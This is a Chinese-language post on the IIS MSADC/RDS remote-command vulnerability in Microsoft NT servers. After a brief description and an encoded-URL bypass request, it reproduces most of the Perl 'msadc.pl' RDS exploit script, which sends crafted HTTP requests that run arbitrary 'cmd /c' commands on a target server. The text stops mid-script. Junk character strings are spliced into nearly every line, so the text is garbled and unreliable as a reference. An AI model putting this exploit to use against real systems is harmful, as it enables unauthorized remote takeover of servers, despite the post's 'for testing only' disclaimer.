IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
dhmZ3 ~cW> 3!0~/8!f@ 涉及程序:
EnnE@BJ" Microsoft NT server
u40<>A *Bm
_ 描述:
w>Y!5RnO 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
&Uu8wFbIJ :7jDgqn^|i 详细:
`oGL== 如果你没有时间读详细内容的话,就删除:
h}cR>
c:\Program Files\Common Files\System\Msadc\msadcs.dll
=^S1+B
MY- 有关的安全问题就没有了。
w{5v*SHl}` %XAF"J 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
Oa/# 2C~ sAfNu~d 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
"YePd*W 关于利用ODBC远程漏洞的描述,请参看:
^OnZ9?C{R byetbt(IF http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Ym5ji$!2 cfA)Ui 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
0L|D1_k[ http://www.microsoft.com/security/bulletins/MS99-025faq.asp QFX )Nov]; E|l qlS7 这里不再论述。
=& =#G3f y?@(%PTp 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
?0k4l8R brt1Kvu8( /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
TuX9:Q 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
Rt2<F-gY af<wUxM0 -Ay=*c.4 #将下面这段保存为txt文件,然后: "perl -x 文件名"
^4 ?LQ[t' '\I!RAZ #!perl
urA
kV#d# #
i"J`$u # MSADC/RDS 'usage' (aka exploit) script
&R;Cm]jt #
K \_JG$(9 # by rain.forest.puppy
lD\vq 2 #
8|Vm6*TY&p # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
^L"ENsOs # beta test and find errors!
=UMqa;\K 0s'H(qE,_ use Socket; use Getopt::Std;
vo JmNH getopts("e:vd:h:XR", \%args);
mx;1'!'fr GFppcL@a print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Tq*K
=^ o"-*,:Qe if (!defined $args{h} && !defined $args{R}) {
pZaOd;t print qq~
nb ,+!)+ Usage: msadc.pl -h <host> { -d <delay> -X -v }
%AnqT|\#, -h <host> = host you want to scan (ip or domain)
1aBQ.-E- -d <seconds> = delay between calls, default 1 second
"[tb-$ER -X = dump Index Server path table, if available
&D*22R4{CX -v = verbose
%1^E;n -e = external dictionary file for step 5
>0Gdxj]\ l6#ms!e Or a -R will resume a command session
|VxO ,[~ s%l`XW;v ~; exit;}
5`H.{4@ !H/5Ud9 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
bIP%xl
Vp if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
$:D-dUr1 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
rI.CCPY~s if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
HyKv5S$ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
[)S&PK if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
a15kFun ,J)wn;@ if (!defined $args{R}){ $ret = &has_msadc;
aq-R#q die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
,3~[cE<4 ?|,-Bft3 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
~![J~CkPS . "cmd /c ";
FvVR \a $in=<STDIN>; chomp $in;
N~t4qlC/ $command="cmd /c " . $in ;
KKJ)BG?qZ CE;J`; if (defined $args{R}) {&load; exit;}
mX&!/U vS'l@`Eg] print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
t`oH7)nut &try_btcustmr;
j'M=+ (>a8h~Na print "\nStep 2: Trying to make our own DSN...";
ywj'S7~A &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
\mGok<b4 .qAlPe L: print "\nStep 3: Trying known DSNs...";
>IFqwh7b &known_dsn;
: 7Jpt3 D,sb{N print "\nStep 4: Trying known .mdbs...";
kK&M>)&o# &known_mdb;
lz>>{ )E>nr
Z if (defined $args{e}){
~D1&CT#s print "\nStep 5: Trying dictionary of DSN names...";
|w3b! &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
{$fd?| 9h l`k""f69W print "Sorry Charley...maybe next time?\n";
5vo5t0^o exit;
7x5wT ?2W JNk6:j&Pf ##############################################################################
yHNx,ra )g
; !IL sub sendraw { # ripped and modded from whisker
o`+$h:zm@ sleep($delay); # it's a DoS on the server! At least on mine...
@r=v*hu my ($pstr)=@_;
Z0#&D&2sV socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
nC 2e^=^ die("Socket problems\n");
&&$,BFY4 if(connect(S,pack "SnA4x8",2,80,$target)){
TcKt select(S); $|=1;
Pg\!\5 print $pstr; my @in=<S>;
'Vz Yf^ select(STDOUT); close(S);
xN
CU5 return @in;
uZhY)o*]@ } else { die("Can't connect...\n"); }}
cf`g.9pjlx _ISaO
C{2- ##############################################################################
R+b~m!58 yi&6HNb sub make_header { # make the HTTP request
5R}K8"d my $msadc=<<EOT
m]D3ec\K' POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
8K@>BFk1. User-Agent: ACTIVEDATA
w8iXuRv Host: $ip
/*kc|V Content-Length: $clen
i2&I<: Connection: Keep-Alive
J@l QzRqRb "eG@F ADCClientVersion:01.06
(N[R`LN Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
/{71JqFis } 8&? --!ADM!ROX!YOUR!WORLD!
hy|Yy&- Content-Type: application/x-varg
Lh;U2pA Content-Length: $reqlen
\h48]ZjC` tB)nQw7 EOT
>O$JS, ; $msadc=~s/\n/\r\n/g;
y)*W!]:7^> return $msadc;}
u0{R;) z`esst\aV ##############################################################################
rJKac"{ *VV#o/Qp sub make_req { # make the RDS request
Ouos f1 my ($switch, $p1, $p2)=@_;
#ni:Bwtl{ my $req=""; my $t1, $t2, $query, $dsn;
G5,g$yNs ?ytY8`PC if ($switch==1){ # this is the btcustmr.mdb query
a>8&B $query="Select * from Customers where City=" . make_shell();
6QM$aLLP? $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
dng^#|X)? $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
>i!y[F v9"|VhZ elsif ($switch==2){ # this is general make table query
PP&